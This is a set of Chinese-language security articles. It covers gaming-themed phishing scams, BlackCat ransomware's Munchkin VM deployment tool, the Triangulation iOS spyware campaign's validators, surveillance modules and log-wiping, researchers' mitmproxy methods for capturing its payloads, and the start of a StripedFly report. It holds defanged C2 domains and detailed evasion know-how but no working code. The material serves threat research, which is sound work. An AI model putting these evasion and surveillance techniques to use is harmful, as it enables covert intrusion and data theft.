其中一些頁面在下載按鈕下方顯示了相對較高的下載數量,很可能向用戶證明該軟件是安全的。點擊這個按鈕會下載一個存檔文件,其中可能包含不需要的甚至是危險的軟件,但不一定是遊戲本身。

尋找遊戲賬號由於大多數遊戲允許用戶購買和出售有價值的遊戲道具,遊戲賬戶自然而然成為攻擊者緊盯的一個有利可圖的目標,尤其是那些包含大量熱門遊戲以及關聯信用卡的賬戶。
遊戲中最受歡迎的誘惑之一便是免費贈送遊戲內道具或皮膚。下圖報價很可能會導致用戶的Steam或Riot Games賬戶被盜。騙術很簡單,要獲得贈品,用戶必須登錄你的賬戶,這意味著在網絡釣魚網站上輸入用戶憑據。

《反恐精英》 的粉絲經常會被“免費”皮膚所吸引,這在遊戲中可能是很有價值的財產。去年,一名用戶的賬戶被黑客攻擊,損失了價值200萬美元的皮膚。不幸的是,那些上當受騙的人將失去他們已經擁有的東西,而不是免費獲得一個有價值的皮膚。

另一個網站提供名為“反恐精英2有限測試”的東西,但只針對那些願意鏈接他們的Steam賬戶的人。但是,如果用戶鏈接了它,它將被洩露,並且無法訪問遊戲的測試版。

除了遊戲賬戶,攻擊者還瞄準了玩家的社交媒體資料。這些信息對欺詐者來說很有價值,因為它們通常包含大量個人數據和相關的付款細節。此外,社交媒體賬戶經常被用來登錄包括在線遊戲在內的其他服務。最後,通過一個被盜的社交媒體賬戶,攻擊者可以針對受害者的朋友和親屬進行各種詐騙。

在上面的截圖中,釣魚者用遊戲內的贈品引誘PUBG玩家。如果要參與,你需要登錄你的Facebook、X(以前的twitter)或虛假網站上的其他社交媒體賬戶。一旦你這麼做了,你的登錄憑據就會被盜。
類似的誘餌也被用於詐騙,用戶需要向攻擊者支付一定金額,才能獲得禮品卡、遊戲內貨幣或全新遊戲。通常,在這樣的網站上,你需要首先輸入一些個人信息並填寫一個簡單的調查。然後顯示一個頁面,告訴你你贏得了一個有價值的獎品。在你認領它之前,唯一要做的就是支付一小筆運費。然而,這一通操作下來,受害者不僅損失了支付的錢,而且還洩露了他們的銀行卡。
在下面的截圖中,你可以看到這種騙局的典型例子。攻擊者向用戶提供“免費的Apex傳奇禮品卡”。要獲得這些獎品,你必須首先輸入你的用戶名,然後回答幾個問題,然後支付來獲得獎品。

對於Roblox玩家,詐騙者通常會提供免費賺取、生成或獲得一些Robux(Roblox中的遊戲貨幣)。與Apex Legends的例子類似,如果用戶試圖提取“賺到的”或生成的錢,他們就必須在一個欺詐網站上付款。

詐騙者經常採取的另一個選擇是為熱門遊戲提供高額折扣。在下面的截圖中,一個流氓網站假裝以28.7美元的價格出售《星球大战绝地武士:幸存者》 ,這還不到官方價格的一半。

如果用戶付費,他們很可能什麼也得不到,而且還會損失他們的錢並洩露銀行卡信息。
總結遊戲平台一直是攻擊者的目標,因為它們存儲了大量的個人和財務數據,從付款細節到電子郵件地址以及其他個人身份信息。欺詐者通過竊取遊戲中的物品和貨幣來賺錢,這些物品和貨幣通常在現實世界也有價值。
攻擊者越來越多地利用熱門遊戲,比如《我的世界》 (Minecraft)和Roblox,瞄準年輕用戶,引誘缺乏網絡安全意識、缺乏經驗的電腦用戶使用惡意或不需要的軟件。
綜上所述,年輕玩家的父母必須對孩子進行安全教育,這樣他們才能幫助保護自己的孩子。網上有大量資源可以幫助新玩家遠離網絡攻擊。
卡巴斯基建議用戶:
1.時刻關注孩子的網絡活動,經常與他們一起看他們最喜歡的電視劇或聽音樂。
2.如果你的孩子喜歡某款遊戲,有必要和孩子討論安全問題,向他們解釋網絡安全的意義,向孩子們解釋什麼是敏感信息,為什麼這些信息只能和他們在現實生活中認識的人分享。
3.只從Steam、Apple App Store、Google Play或Amazon Appstore等官方商店下載遊戲。這些市場上的遊戲並非100%安全,但它們至少會經過技術人員的檢查,並且存在某種篩選系統,並非所有應用都能上架。
4.如果你想購買的遊戲不能從應用商店購買,只能從官方網站下載,仔細檢查網站的網址,確保它是真實的。為了進一步保護您的購買,請使用網上銀行保護,例如卡巴斯基產品中的安全貨幣功能。
謹防網絡釣魚活動和不熟悉的玩家,不要打開通過電子郵件或遊戲聊天收到的鏈接,除非你信任發件人。不要打開陌生人給你的文件。
不要下載盜版軟件或任何其他非法內容,即使你從一個合法的網站重定向到它。只在官方網站上購買遊戲更安全。
使用強大、可靠的安全解決方案,將不會減慢你的電腦,同時保護您免受惡意軟件,網絡釣魚和其他威脅。例如,卡巴斯基高級版可以與Steam和其他遊戲服務順利合作,並可以保護計算機和移動設備。
HireHackking

標題:BlackCat開始用一種新策略實施攻擊

BlackCat運營商最近宣布對他們的工具進行更新,包括一個名為Munchkin的實用程序,它允許攻擊者將BlackCat有效負載傳播到遠程設備和受害者組織網絡上的共享。在過去的兩年中,作為勒索軟件即服務(RaaS)商業模式的一部分,BlackCat勒索軟件運營商一直在不斷發展和更新他們的工具。
在最新發現的樣本中,Unit 42的研究人員獲得了一個獨特的Munchkin樣本,因為它加載在自定義的Alpine虛擬機(VM)中。這種利用自定義虛擬機來部署惡意軟件的新策略在最近幾個月得到了越來越多的應用,允許勒索軟件攻擊者使用虛擬機來繞過部署惡意軟件有效負載的安全解決方案。
本文詳細介紹了這個新實用程序的攻擊進程,並進一步闡明了BlackCat攻擊者使用的持續策略。
BlackCat概述BlackCat勒索軟件於2021年11月首次被曝光。這種攻擊因其惡意軟件的複雜性以及使用Rust編程語言等獨特方法而臭名昭著。
與其他勒索軟件類似,BlackCat採用了RaaS商業模式,這種模式允許其他機構有償利用他們的工具,使用機構會獲得大約80-90%的贖金,其餘的則交給運營商。
“BlackCat”組織及其使用機構歷來把目標鎖定在美國境內。然而,隨著時間的推移以及受歡迎程度,攻擊範圍正在逐漸擴大,最近,人們發現BlackCat的目標是全球眾多行業及其垂直行業的受害者。
BlackCat工具集多年來一直在不斷發展。
原始版本僅提供了一個嵌入式JSON配置,並沒有應用混淆或加密。
隨著時間的推移,操作人員更新了惡意軟件家族,以混淆這種底層配置。他們還需要一個唯一的命令行參數來執行惡意軟件。在此過程中,BlackCat阻止了安全人員在此命令行參數不可用的情況下獲得底層有效進行研究。
惡意軟件家族一直在不斷發展,攻擊者採用了更多的功能和混淆機制。最近幾個月,BlackCat發布了一個名為“Munchkin”的新工具。
該工具提供了運行Sphynx(最新的BlackCat變體)的基於linux的操作系統。攻擊者可以使用此實用程序在遠程設備上運行BlackCat,或將其部署到加密遠程服務器消息塊(SMB)或通用互聯網文件共享(CIFS)。

Munchkin進程示意圖
在實際運行中,使用虛擬機運行惡意軟件是一種日益增長的趨勢。據報導,其他勒索軟件組織也利用了這種新策略。
這種方法的好處包括繞過主機操作系統上設置的任何安全控製或保護,例如防病毒軟件。由於這些解決方案通常在嵌入式虛擬化操作系統中沒有自省功能,惡意軟件將經常繞過現有的任何檢查。
在最近的調查中,Unit 42的研究人員能夠獲得這個VM實用程序的副本。因此,我們可以深入了解它是如何工作的。
攻擊過程Munchkin實用程序以ISO文件的形式提供,在VirtualBox虛擬化產品的新安裝樣本中加載。這個ISO文件代表了Alpine操作系統的自定義實現,攻擊者可能會選擇它,因為它佔用空間小。操作系統啟動後,會執行如下命令:

在此過程中,惡意軟件最初將虛擬機的根密碼更改為攻擊者選擇的密碼。它隨後通過內置的tmux實用程序生成一個新的終端會話,該實用程序用於執行名為controller的惡意軟件二進製文件。惡意軟件完成執行後,會關閉虛擬機。
控制器惡意軟件與其他相關文件一起託管在/app目錄中。此外,虛擬機操作系統中還包含其他相關且值得注意的文件。


虛擬機操作系統中包含的文件路徑及有關描述
除了上面提到的文件,大量的Python腳本直接存在於/usr/bin中,BlackCat操作符可以在VM的後續更新中使用這些腳本。






攻擊者可以使用上面的許多Python腳本進行橫向移動、密碼轉儲和在受害者網絡上進一步執行惡意軟件。
控制器惡意軟件是用Rust編程語言編寫的,其方式與BlackCat惡意軟件家族非常相似。在執行時,控制器最初將使用唯一的單字節異或操作解密大量字符串。

運行時的字符串解密
在字符串被解密後,攻擊者將執行基本檢查,以確保預期的配置和有效負載文件駐留在/app目錄中。然後,該攻擊將反序列化並解析/app/config文件,如果這些文件不存在,或者如果它們無法被解析,惡意軟件將自行退出並顯示一條錯誤消息。
/app/config文件包含大量信息,包括控制器惡意軟件樣本隨後使用的以下信息:
訪問令牌;
任務標識符;
受害者憑據(包括用戶名、密碼和域);
BlackCat受害者URL;
阻止列表的文件類型和路徑;
要加密的目標主機和共享;
解析配置後,控制器創建並掛載/payloads/目錄,用於託管隨後創建的BlackCat樣本。控制器使用前面提到的/app/payload作為模板來創建自定義的BlackCat樣本。在模板文件中,控制器在修改該文件時查找並使用特定的標記。

基於模板和配置創建新的BlackCat示例
所創建的文件基於所提供的配置。但是,它們的命名如下,並帶有增量值:
/payloads/0
/payloads/1創建這些有效負載後,惡意軟件繼續遍歷所提供的配置,目的是感染指定的任何SMB/CIFS驅動器。這些嘗試在寫入STDOUT的各種輸出中進行了概述,其示例如下所示。
注:實際的IP地址和共享名稱已在下面的輸出中進行了編輯。

惡意軟件完全執行後,虛擬機將關閉電源,不再執行進一步的操作。
研究人員發現以下消息嵌入到惡意軟件樣本中,但未使用,它可能在開發的某個階段被包括在內,但後來又被取消。

這條消息似乎是BlackCat的開發者給他們的使用組織的一條消息,敦促他們從不安全的環境中刪除這個文件。看來使用組織並沒有聽從這一建議。
總結惡意軟件的開發者,特別是那些背後的BlackCat勒索軟件使用者,繼續更新和發展他們的技術和戰術,這一點在他們最近發布的“Munchkin”中得到了充分體現。
惡意工具利用虛擬機來阻止主機上存在的安全管理功能,並反檢測方面領先於安全防護。
HireHackking

標題:Triangulation活動可進行極其隱蔽的攻擊

在之前關於Triangulation的介紹文章中,研究人員討論了TriangleDB的細節,這是這次活動中使用的主要植入程序,使它的C2協議和它可以接收命令。除其他事項外,它還能夠執行其他模塊。另外,這次活動是相當隱蔽的。
本文詳細介紹了該活動是如何進行隱蔽攻擊的。在此過程中,研究人員還將揭示有關此攻擊中使用組件的更多信息。
驗證組件在之前的文章中,研究人員概述了Triangulation活動攻擊鏈:設備接收惡意iMessage附件,啟動一系列漏洞利用,其執行最終導致啟動TriangleDB植入。攻擊鏈可以用下圖來概括:

除了TriangleDB植入的漏洞和組件外,攻擊鏈還包含兩個“驗證器”階段,即“JavaScript驗證器”和“二進制驗證器”。這些驗證器收集有關受害設備的各種信息,並將其發送到C2服務器。然後,這些信息被用來評估植入TriangleDB的iPhone或iPad是否可以作為研究設備。通過執行這樣的檢查,攻擊者可以確保他們的零日漏洞和植入程序不會被阻止。
JavaScript驗證器在攻擊鏈的開始,受害者會收到帶有零點擊漏洞的不可見iMessage附件。此漏洞的最終目標是在backupabbit[.]com域上默默地打開一個唯一的URL。該URL上託管的HTML頁麵包含NaCl密碼庫的模糊JavaScript代碼,以及加密的有效負載。這個負載是JavaScript驗證器。該驗證程序執行許多不同的檢查,包括不同的算術運算,如Math.log(-1)或Math.sqrt(-1),Media Source API、WebAssembly等組件的可用性。
如上所述,它通過使用WebGL在粉色背景上繪製一個黃色triangle併計算其校驗和來執行一種名為Canvas Fingerprint的指紋技術:

繪製triangle的代碼

繪製的triangle
事實上,正是這個triangle,研究人員把整個活動稱為Triangulation活動。
運行驗證器後,它會對所有收集到的信息進行加密,並將其發送到backuplabbit[.]com上的另一個唯一URL,以便接收攻擊鏈的下一階段。
二進制驗證器正如從攻擊鏈圖中看到的,這個驗證器在部署TriangleDB植入程序之前啟動。 JavaScript驗證器是一個腳本,與之相反,這個驗證器是一個Mach-O二進製文件(因此得名binary Validator)。啟動時,它使用AES解密其配置。這個配置是一個plist:

此列表包含必須由驗證器執行的操作列表(如DeleteLogs、DeleteArtifacts等)。具體地說:
1.從/private/var/mobile/Library/logs /CrashReporter目錄中刪除可能在利用過程中創建的崩潰日誌;
2.在各種數據庫(如ids-pub-id.db或knowledgeec .db)中搜索惡意iMessage附件的痕跡,然後刪除它們。為了能夠做到這一點,驗證器的配置包含40個用於發送惡意imessage的Apple id的MD5哈希值。研究人員成功破解了大部分哈希值,從而獲得了攻擊者控制的蘋果ID電子郵件地址列表:

3.獲取在設備上運行的進程列表以及網絡接口列表;
4.檢查目標設備是否已越獄。驗證器實現了對各種越獄工具的檢查,如Pangu、xCon、Evasion7、Electra、unc0ver、checkra1n等;
5.打開個性化廣告跟踪;
6.收集有關受害者的廣泛信息,如用戶名,電話號碼,IMEI和蘋果ID;
7.檢索已安裝應用程序的列表。
有趣的是,驗證器在iOS和macOS系統上都實現了這些操作:

研究人員還發現,驗證器實現了一個未使用的操作,攻擊者將其稱為PSPDetect。

這個操作從驗證器的配置中檢索一個文件列表(對於研究人員分析的驗證器配置,這個列表是空的),檢查它們是否存在於文件系統中,並產生一個找到的文件列表作為輸出。
此操作名稱中的縮寫PSP可能意味著“個人安全產品(personal security product)”,或者更簡單地說,是一種安全解決方案。因此,有可能在macOS設備上啟動此操作,以檢測已安裝的殺毒軟件。
執行完所有這些操作後,驗證器加密並將獲得的數據(進程列表、用戶信息等)發送到C2服務器。作為響應,服務器返回研究人員之前描述過的TriangleDB植入。
在日誌中找到線索“Triangulation活動”背後的攻擊者不僅通過在攻擊鏈中引入兩個驗證者來進行隱形操作。事實上,他們對TriangleDB植入程序的所有操作都非常小心。這可以從研究人員對攻擊者通過該植入程序向受攻擊設備發送的命令的分析中觀察到。
在植入與C2服務器建立通信並發送指令之後,它從C2服務器接收多個CRXShowTables和CRXFetchRecord命令。這些命令與可能顯示攻擊鍊和惡意軟件本身痕蹟的日誌檢索有關。檢索到的一些文件有:
1.崩潰日誌(Crash log)文件(例如/var/mobile/Library/Logs/CrashReporter);
2.數據庫文件(例如/private/var/mobile/Library/IdentityServices/ids-gossip.db)。這些數據庫文件可能包含攻擊者用來發送惡意iMessage的Apple ID。
一旦攻擊者收到這些文件,他們就會把它們從設備上刪除,這樣受害者就無法檢查它們,也無法發現潛在的攻擊跡象。在完成日誌收集和刪除後,攻擊者向植入程序發送多個CRXPollRecords命令,指示它定期從/private/var/tmp目錄中洩漏文件。上傳到C2服務器的文件的名稱應符合下列正則表達式:

具有這些名稱的文件包含由模塊產生的執行結果。這些模塊通過CRXUpdateRecord和CRXRunRecord命令上傳到受攻擊的設備。
麥克風錄音最侵犯隱私的模塊之一是麥克風錄製模塊,其名稱為“msu3h”,研究人員認為3h代表三小時,默認錄製時間。在執行時,它會解密(使用源自GTA IV哈希的自定義算法)其配置,但只有當電池電量超過10%時,它才會執行進一步的操作。
配置文件本身包含典型的配置數據,例如記錄多長時間和用於加密記錄的AES加密密鑰,但也包含更具攻擊性的參數,例如:
1.suspendOnDeviceInUse:設置當設備屏幕打開時是否應該停止錄製;
2.syslogRelayOverride:設置捕獲系統日誌時是否錄製音頻。
錄音使用Audio Queue API,聲音塊使用Speex編解碼器進行壓縮,然後使用AES進行加密。除了聲音數據,每個錄音都包含診斷信息,它有一個四字節的類型標識符,可以是:

鑰匙串洩露由於未知的原因,攻擊者決定添加一個額外的鑰匙串洩露模塊,儘管這樣的功能已經存在於TriangleDB中。這個鑰匙串模塊與TriangleDB中的邏輯相同,但主要基於iphone-dataprotection.keychainviewer項目中的代碼。鑰匙串(英文:Keychain)是蘋果公司Mac OS中的密碼管理系統。它在MacOS 8.6中被導入,並且包括在了所有後續的Mac OS版本中,包括Mac OS X。一個鑰匙串可以包含多種類型的數據:密碼(包括網站,FTP服務器,SSH帳戶,網絡共享,無線網絡,群組軟件,加密磁盤鏡像等),私鑰,電子證書和加密筆記等。
SQLite竊取模塊iOS上的許多應用使用SQLite來存儲它們的內部數據。因此,攻擊者實現能夠從各種SQLite數據庫竊取數據的模塊也就不足為奇了。所有這些模塊都具有相同的代碼庫,並且包含要執行的不同SQL查詢。同樣,它們的配置是加密的。當它被解密時,只能找到標準變量,如文件路徑,AES密鑰,查詢字符串等。
這些模塊的代碼相當奇特,例如,攻擊者在fopen()函數周圍實現了一個包裝器,添加了Z標誌(表明創建的文件應該經過aes加密和zlib壓縮),並與標準w(寫)標誌結合使用,如下圖所示:

同樣有趣的是,SQLite竊取模塊包含針對不同iOS版本的三個代碼版本:低於8.0、介於8.0和9.0之間、9.0及更高版本。
研究人員找到的每個模塊執行不同的SQL數據庫查詢。例如,有一個模塊處理來自knowledgeec .db數據庫的應用程序使用數據。另一個模塊提取與照片相關的元數據,例如照片中是否有孩子,該人是男是女(見下圖),以及從媒體文件中自動生成的文本。

攻擊者對WhatsApp、SMS和Telegram的信息也表現出了興趣,這也不足為奇,因為研究人員也發現了竊取這些數據的模塊。
位置監控模塊這個模塊在一個單獨的線程中運行,並試圖模擬被授權使用配置中指定的位置服務的bundle(例如/System/Library/LocationBundles/Routine.bundle)。除了使用GPS確定位置外,它還使用GSM,通過CoreTelephony框架檢索MCC (MobileCountryCode), MNC (MobileNetworkCode), LAC (LocationAreaCode)和CID (CellID)值。
使用gsm相關數據的一個原因是在沒有GPS數據的情況下估計受害者的位置。

結論Triangulation活動背後的攻擊者非常小心地避免被發現。他們在攻擊鏈中引入了兩個驗證器,以確保漏洞和植入程序不會被傳遞給安全研究人員。此外,麥克風錄音可以調整為在屏幕被使用時停止。位置跟踪器模塊可能不使用標準的GPS功能,如果這是不可用的,而是使用來自GSM網絡的元數據。
攻擊者還表現出對iOS內部的深刻理解,因為他們在攻擊過程中使用了未記錄的私有api。它們還在一些模塊中實現了對8.0之前iOS版本的支持。回想一下,這些模塊在2015年之前被廣泛使用,這表明這些模塊的代碼已經被使用了多長時間。
另外,這次攻擊中使用的一些組件包含的代碼可能表明它們也針對macOS系統,儘管截至發布日期,在macOS設備上沒有遇到Triangulation活動痕跡。
儘管Triangulation活動是在高度隱蔽的情況下執行的,但研究人員仍然能夠提取出完整的攻擊鏈,以及植入程序和插件。如果你想知道研究人員是如何設法繞過攻擊者引入的所有保護措施的,請點擊此文。
HireHackking

標題:如何及時發現Triangulation攻擊活動

今年6月,卡巴斯基的研究者就發現有攻擊者利用iMessage來傳播惡意軟件,iOS 15.7以及此前版本均受到影響。研究人員通過mvt-ios(iOS 移動驗證工具包)分析受攻擊的設備之後,發現他們可以通過iMessage發送信息,受害者在接收到信息之後,不需要任何用戶交互,就能觸發系統內漏洞,從而執行任意惡意代碼。研究人員將這個攻擊活動稱為'Triangulation活動'。

Triangulation活動的首次公開報導請看這篇文章,正如研究人員在三角測量行動的第一篇文章中提到的,最初發現的受攻擊設備正是在莫斯科總部工作的卡巴斯基員工。所有這些設備都連接到公司的Wi-Fi網絡,這樣研究人員就可以記錄和檢查網絡流量。在花了一些時間調查Wireshark之後,研究人員最終發現了以下內容:
1.在表現出可疑行為之前,連接到iMessage服務器的設備通常負責接收信息和下載附件;
2.在下載了可能是附件的幾千字節數據後,這些設備建立了與服務器backuprabbit[.]com的連接,在不到一分鐘的時間內與服務器交換數據;
3.接下來,設備連接到以下服務器進行更長的會話:
cloudsponcer[.]com
snoweeanalytics[.]com
topographyupdates[.]com
unlimitedteacup[.]com、
virtuallaughing[.]com
4.設備重啟後,所有可疑活動都停止了;
所有與服務器的通信都是通過HTTPS進行的,所以研究人員無法從流量中恢復任何額外的細節。
設備映像由於所有的設備都觸手可及,研究人員下一步就是檢查它們的內容。不幸的是,研究時可用的取證採集軟件基於checkra1n和類似的漏洞,不適用於運行iOS 15和16的現代處理器。
檢查備份研究人員下一步決定使用設備的iTunes備份來代替完整的設備映像,這一程序必須在相當保密的情況下進行,以免提醒攻擊者。
由於研究人員不知道攻擊者的確切能力,只能默認他們在監聽設備的麥克風,閱讀電子郵件和即時通信對話。所以,研究人員不得不親自安排會議,把手機放在飛機模式下,有時放在法拉第包裡。研究人員使用libimobiledevice的優秀工具來獲取備份,並通過使用移動驗證工具包構建事件時間軸來檢查它們,該時間軸結合了文件系統時間戳和從各種系統數據庫中提取的數據記錄。研究人員專注於iMessage目錄,因為早在2021年,Citizen Lab的研究人員通過檢查這些目錄中的文件發現了FORCEDENTRY漏洞。
Triangulation活動背後的攻擊者非常隱蔽,研究人員在備份中沒有發現任何漏洞利用的跡象,他們還搜索了惡意軟件的可執行文件,但也沒有找到。
不過,研究人員還是發現了可疑網絡活動的時間戳。為此,他們開始尋找時間軸上發生在同一時間的重複事件。結果,研究人員發現了一個看起來像新指示器的東西,數據使用記錄提到了一個名為“BackupAgent”的系統進程,不過這個進程根本不應該被執行,因為二進製文件在幾年前就被棄用了。

在設備日誌中觀察到的來自BackupAgent進程的異常活動,研究人員在Triangulation 活動的第一篇文章中就分享過這個片段。
基於這個異常的發現,研究人員編寫了第一版的triangle_check工具,它使研究人員能夠快速確認設備的備份是否包含潛在攻擊的痕跡。
試圖攔截惡意iMessage進一步查看事件時間軸,研究人員發現了第二個痕跡,在BackupAgent進程使用數據之前,修改了一個空的SMS附件目錄。由於目錄被修改了,但不包含任何文件,這通常意味著可以高度肯定最後一個操作是文件刪除,有一個傳入的附件,它被刪除幾秒後,名為BackupAgent的進程正在運行可疑的網絡代碼。
由於Triangulation 活動背後的攻擊者似乎足夠聰明,可以從受攻擊的設備中刪除惡意附件,因此研究人員決定嘗試在iMessage傳遞過程中捕獲傳入消息。在尋找攔截imessage的方法時,研究人員發現了谷歌Project Zero團隊編寫的Frida腳本。它是為Mac電腦設計的,所以研究人員拿了一台備用的Mac mini,在上面安裝了Frida。然後,研究人員要求幾位目標同事用他們的蘋果id登錄Mac mini。這樣,研究人員能夠監控和攔截他們收到的imessage,接下來要做的就是等待攻擊者再次攻擊。
與此同時,研究人員積極監控SIEM日誌,尋找可疑活動的痕跡。很快,研究人員就發現了熟悉的網絡連接,這表明一款帶有iMessage帳戶的手機成功攻擊。然而,當我們檢查Mac mini上的iMessage攔截日誌時,卻沒有消息痕跡。因此,系統無法捕獲可能包含漏洞的消息,所以我們開始尋找其他方法來捕獲惡意軟件。
在通過Mac設備攔截iMessages的計劃失敗後,研究人員決定嘗試解密之前從流量分析中識別出的C2服務器的HTTPS通信。
為此,需要做到:
搭建Linux服務器,安裝HTTPS攔截工具mitmproxy;
在幾個已知被攻擊的iOS設備上安裝了根SSL證書(研究人員之前通過mitmproxy生成的);
在這些設備上安裝Wireguard VPN客戶端,並配置它們使用研究人員的mitmproxy實例作為VPN服務器。
研究人員還開發了一個Telegram機器人,當受監控的設備被攻擊時,它會通知研究人員:

不幸的是,這種方法不允許研究人員攔截蘋果服務(包括iMessage)的HTTPS流量,因為iOS為此實現了SSL綁定。因此,研究人員無法解密來自VPN的iMessage流量。
捕捉JavaScript驗證器一旦攻擊者再次攻擊了其中一個目標,研究人員查看了mitmproxy日誌,注意到它成功地解密了C2服務器的流量:

研究人員希望獲得的有效負載是iOS的漏洞。但是,它是JavaScript驗證器,它只是收集有關受害瀏覽器的信息並將其發送到C2服務器。
研究人員觀察到受攻擊的設備接收響應發送到C2服務器的驗證信息的有效負載。然而,雖然研究人員能夠攔截HTTPS流量,但無法解密它。這是因為JS驗證器使用NaCl庫為C2通信實現了自己的加密層,使用的加密算法基於公鑰加密。具體來說,為了與C2服務器通信,JS驗證器如下:
1.生成一個隨機密鑰對(由私鑰和公鑰組成);
2.從生成的私鑰和C2服務器的公鑰中派生共享密鑰;
3.使用此共享密鑰加密發送到C2服務器的消息並解密從C2服務器接收到的消息。

密鑰生成為了解密C2服務器通信,有必要知道由JS驗證器隨機生成的私鑰。但是,這個密鑰保存在內存中,不會被發送到C2服務器,所以研究人員必須做一些額外的工作來解密驗證器的流量。
如上圖所示,JS驗證器通過調用nacl.box.keyPair()方法生成一個隨機密鑰對。為了解密流量,研究人員編寫了一個很小的mitmproxy附加組件,用於查找對nacl.box.keyPair()方法的調用。然後用另一個方法nacl.box.keyPair.fromSecretKey()替換它們,該方法根據提供的私鑰初始化對。

從上圖中可以看出,研究人員將私鑰硬編碼到該方法的參數中,從而隱藏驗證器的加密方案。一旦在受攻擊的設備上執行了後門驗證器,就可以解密JS驗證器的所有通信。
二進制驗證器和關於附件的提示一旦攻擊者再次攻擊了其中一個目標,研究人員就能夠分析驗證器進一步執行的有效負載。結果發現它包含兩個漏洞:一個針對WebKit,另一個針對iOS內核。這兩個漏洞的最終目標是在目標設備上啟動二進制驗證器階段。
如上所述,二進制驗證器包含一個清除惡意iMessage痕蹟的函數。具體來說,研究人員發現這個函數向SMS.db數據庫發出以下SQL請求:

條件“uti==”com.apple.watchface“”給了我們另一個提示:現在很明顯,惡意附件是.watchface文件。因此,通過更多關於附件的信息,研究人員計劃並執行了獲取附件的下一次嘗試。
發送iMessage附件的過程為了設計另一種獲取附件的策略,研究人員決定更詳細地研究發送iMessage附件的過程。這個過程包括以下幾個步驟:
1.發送方生成一個隨機的AES密鑰並用它加密附件;
2.加密的附件被上傳到iCloud;
3.iCloud加密附件的鏈接與AES密鑰一起發送給收件人,AES密鑰使用設備的公共RSA密鑰進行額外加密。
因此,要獲取惡意附件文件,研究人員必須檢索兩個組件:
1.加密的附件;
2.用於加密的AES密鑰。
獲取加密的附件非常簡單,因為可以通過mitmproxy攔截到iCloud服務器的流量。之前,研究人員寫過iOS不允許解密蘋果服務的HTTPS流量,iCloud附件鏈接卻是一個例外。
同時,AES密鑰的獲取過程相當困難。它是通過iMessage協議發送的,因此不能通過mitmproxy進行攔截。不過,研究人員發現了一種恢復附件的方法,並通過對目標設備的物理訪問提取該密鑰。研究人員使用iCloud鏈接阻止iMessage成功下載附件,因此該漏洞不會激活然後刪除附件,但AES加密密鑰將存儲在SMS.db數據庫中。
研究人員決定使用mitmproxy附加組件更改加密附件中的幾個字節。這樣,研究人員中斷了下載加密附件的過程,解密密鑰保存在SMS.db數據庫中。然後,研究人員下載了受攻擊設備的iTunes備份,並從該備份中的數據庫中提取了密鑰。結果,研究人員獲得了攻擊者發送的惡意.watchface附件,這是用於使用漏洞利用鏈的開始。
植入過程在研究人員獲得攻擊者使用的漏洞之後,剩下的就是獲得植入程序了。二進制驗證器是負責從C2服務器下載和激活植入有效負載的組件,它使用RSA和AES的組合進行通信。同樣,使用RSA意味著僅使用加密流量是不可能解密植入有效負載的。
為了與C2服務器交換數據,二進制驗證器需要:
1.生成一個隨機的AES密鑰;
2.用驗證器配置中指定的服務器的RSA公鑰加密生成的AES密鑰;
3.使用生成的AES密鑰對要發送到C2服務器的消息進行加密;
4.向C2服務器發送加密消息,並接收C2服務器的響應;
5.使用用於加密發送消息的相同AES密鑰解密響應。
驗證器用以下ARM指令加密所有數據包:

這段代碼首先執行“serialized_plist”函數,該函數為發送準備數據。執行之後,寄存器X0指向準備發送到服務器的數據。
下一個要調用的函數是“encryptData”。它有兩個參數:一個指向正在加密的數據的指針被傳遞到X0寄存器,而X1寄存器包含一個帶有配置數據(包括加密參數)的pllist。在執行這個函數之後,X0寄存器包含一個指向加密附件的指針。
為了破壞加密過程來攔截來自受攻擊設備的數據。研究人員決定將對“encryptData”函數的調用替換為NOP指令(1f2003d5)。這樣,X0寄存器的值將不會被指向加密數據的指針覆蓋,並且驗證器將向研究人員的VPN服務器發送明文數據。
就像JavaScript驗證器的情況一樣,研究人員通過擴展mitmproxy插件來修補代碼:

使用NOP修補對encryptData函數調用的mitmproxy附加代碼片段
當明文數據到達研究人員的VPN服務器時,他們會再次通過mitmproxy附加組件模擬密鑰交換和數據加密,並控制加密密鑰的值。結果,研究人員成功地解密了C2服務器發送的數據,並提取了植入程序。
獲取模塊在對TriangleDB植入程序進行逆向工程後,研究人員發現它能夠執行輔助模塊,這讓研究人員想要獲得模塊二進製文件。在對植入的分析中,發現模塊可執行文件通過CRXUpdateRecord和CRXUpdateRunRecord命令傳遞給植入程序。因此,為了獲得這些可執行文件,必須能夠解密發送到C2服務器的所有命令。
同樣,加密算法是基於RSA的,所以研究人員的操作類似於獲取植入程序二進製文件的操作。
不過這一次,研究人員決定:
1.生成自己的RSA公鑰/私鑰對;
2.將植入配置中的RSA公鑰替換為先前生成的公鑰。
研究人員將以下代碼添加到mitmproxy插件中:

當植入流量到達研究人員的VPN服務器時:
1.用研究人員生成的RSA私鑰解密它;
2.保存解密後的流量;
3.使用攻擊者使用的公鑰對流量重新加密。
通過這種方式,研究人員能夠監控由植入程序執行的所有通信,並獲得模塊二進製文件。
總結研究人員調查Triangulation活動的過程相當漫長,總共花了幾個月的時間。儘管經歷了許多波折,研究人員最終還是設法獲得了這次攻擊中使用的所有階段,包括向蘋果報告的四個零日漏洞,兩個驗證器,一個植入程序及其模塊。
在此過程中,研究人員對iOS內部進行了大量研究,並提出了許多有趣的技術,例如研究人員用於提取iMessage附件的技術。研究人員在研究過程中遇到的主要困難是處理在攻擊鏈的每個階段都使用的公鑰加密。為了繞過加密,研究人員必須開發一個mitmproxy附加組件。
HireHackking

標題:StripedFly:常年不為人知的複雜惡意軟件

引言StripedFly,它是一個加密貨幣挖礦軟件,躲在一個支持Linux和Windows的複雜模塊化框架後面。它配備內置的TOR網絡隧道,用於與指揮(C2)服務器聯繫,還有通過可信賴的服務(如GitLab、GitHub和Bitbucket)進行更新和交付的功能,這一切使用自定義加密歸檔。攻擊者煞費苦心來構建這個框架,披露的真相頗為驚人。
它是如何開始的? 2022年,在Equation惡意軟件中發現的舊代碼的WININIT.EXE進程中遇到了兩個驚人的發現,隨後的分析揭示了可追溯到2017年的早期可疑代碼。在此期間,它成功逃避了分析,之前被誤歸類為加密貨幣挖礦軟件。然而,這不是其主要目標。
我們決定全面分析收集的樣本,只想排除任何不確定因素,這個加密貨幣挖礦軟件是一個極龐大實體的一部分。該惡意軟件使用了定制的EternalBlue SMBv1漏洞來滲入受害者的系統。重要的是,我們的調查剖析了二進制時間戳,表明這個漏洞是在2017年4月之前創建的。值得一提的是,EternalBlue漏洞是Shadow Brokers組織於2017年4月14日公開披露的。
